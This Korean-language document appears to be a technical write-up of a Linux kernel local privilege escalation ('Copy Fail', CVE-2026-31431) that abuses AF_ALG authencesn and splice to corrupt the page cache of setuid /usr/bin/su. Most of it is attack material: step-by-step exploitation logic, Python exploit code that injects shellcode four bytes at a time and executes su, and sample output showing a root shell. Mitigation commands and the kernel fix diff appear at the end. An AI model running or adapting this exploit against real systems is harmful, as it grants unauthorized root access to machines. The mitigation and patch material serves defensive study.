TX Scatterlist (입력)  ← TX 버퍼 (파일의 사용자 데이터)
RX Scatterlist (출력) ← RX 버퍼 (사용자의 출력 영역)
                          
별도의 scatterlist = 페이지 캐시 페이지는 읽기 전용

결합된 Scatterlist:
[ RX 버퍼 ] [ sg_chain()으로 연결된 페이지 캐시 페이지 ]
↑                ↑
req->src = src   req->dst = dst  (동일한 scatterlist)

페이지 캐시 페이지가 이제 쓰기 가능한 scatterlist에 있음!

[RX 버퍼의 AAD + 암호문] || [/usr/bin/su 페이지 캐시의 태그]
                                  ↑
                                  경계
                                  (authencesn이 이 지점 너머에 씀)

scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // AAD 바이트 0-7 읽기
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // 임시: dst[4..7] 덮어쓰기
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← 핵심 라인
                                                        // dst[assoclen+cryptlen]에 4바이트 쓰기

1. 공격자가 AF_ALG 소켓을 열고 → authencesn(hmac(sha256),cbc(aes))에 바인딩
   (권한 불필요; AF_ALG는 기본적으로 권한 없는 사용자에게 제공됨)

2. 공격자가 대상 파일 열기: /usr/bin/su (setuid-root 바이너리)

3. 공격자가 splice()를 사용하여 /usr/bin/su의 페이지 캐시 페이지를
   "암호문" 및 "태그"로 AF_ALG 소켓에 전달
   
4. 공격자가 다음을 포함하는 AAD로 sendmsg() 전송:
   - 바이트 0-3: 패딩
   - 바이트 4-7: seqno_lo = 쓸 4바이트 값 (공격자가 제어)
   - 바이트 8+: 패딩

5. 공격자가 AEAD 복호화 연산을 트리거하는 recvmsg() 호출
   
   커널 공간의 authencesn 복호화 내부:
   a) 커널이 AAD 바이트 0-7 읽기
   b) 커널이 dst[4..7]에 seqno_hi 쓰기 (임시, 그 후 복원)
   c) 커널이 dst[assoclen + cryptlen]에 seqno_lo 쓰기
      ↓
      이 쓰기는 사용자 버퍼에서 페이지 캐시 페이지로 교차
      ↓
      /usr/bin/su의 페이지 캐시에 4바이트 쓰기가 여기서 발생
   d) 커널이 HMAC 계산 (검증 실패 - 암호문이 위조됨)
   e) recvmsg()가 오류 반환
   
   그러나: 4바이트 쓰기는 페이지 캐시에 이미 지속됨

6. 공격자가 각 4바이트 셸코드 청크에 대해 2-5단계 반복

7. 공격자가 /usr/bin/su 실행
   - 커널이 PAGE CACHE에서 바이너리 로드 (이제 셸코드 포함)
   - 바이너리는 setuid-root
   - 셸코드가 UID=0으로 실행
   - 공격자가 root 액세스 권한 획득

sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # AEAD 연산용 요청 소켓

target_fd = os.open("/usr/bin/su", os.O_RDONLY)

pipe_rd, pipe_wr = os.pipe()

os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

assoclen = 8          # AAD 길이: 바이트 0-7
cryptlen = 32         # 암호문 길이 (== HMAC-SHA256 출력)
authsize = 32         # 태그 길이
write_offset = 0x2000 # /usr/bin/su에 쓸 오프셋

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

req_sock.sendmsg([aad], [], socket.MSG_MORE)

os.splice(pipe_rd, req_sock.fileno(), cryptlen)

Scatterlist 체인:
[ AAD (RX 버퍼에서) ] || [ 암호문 (RX 버퍼에서) ] → [ 태그 (페이지 캐시 페이지) ]
                                                               ↑
                                                     여전히 참조
                                                     /usr/bin/su의 페이지

try:
    req_sock.recv(1024)
except OSError:
    pass  # 잘못된 HMAC로 실패할 것으로 예상

for i in range(0, len(shellcode), 4):
    chunk = shellcode[i:i+4]
    exploit_target_file("/usr/bin/su", base_offset + i, chunk)

os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)

python3 exploit.py

[*] CVE-2026-31431 (Copy Fail) Linux 커널 권한 상승
[*] 대상: /usr/bin/su (setuid-root 바이너리)

[*] 커널 버전: 6.12.0-1007-aws
[+] 커널 6.12.x는 취약한 범위(6.0 - 6.18)에 있음

[+] /usr/bin/su 발견 (setuid-root 바이너리)
[+] 커널 취약점 확인: AF_ALG + splice + authencesn

[*] 페이지 캐시 손상 시작...

[*] /usr/bin/su에 33바이트 셸코드 주입
[+] 오프셋 0x2000에 청크 0 쓰기
[+] 오프셋 0x2004에 청크 1 쓰기
...
[+] 셸코드 주입 성공!
[*] 셸코드 트리거를 위해 /usr/bin/su 실행...

# id
uid=0(root) gid=1001(user) groups=1001(user)

sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit

sudo rmmod algif_aead
sudo rmmod authencesn

# 컨테이너 보안 정책에서 socket(38, SOCK_SEQPACKET) syscall 거부

// 이전 (취약한 in-place):
aead_request_set_crypt(&areq->cra_u.aead_req, 
                       rsgl_src,        // RX SGL (입력)
                       rsgl_src,        // RX SGL (출력) - 동일
                       used, ctx->iv);

// 이후 (수정된 out-of-place):
aead_request_set_crypt(&areq->cra_u.aead_req,
                       tsgl_src,        // TX SGL (입력)
                       rsgl_src,        // RX SGL (출력) - 다름
                       used, ctx->iv);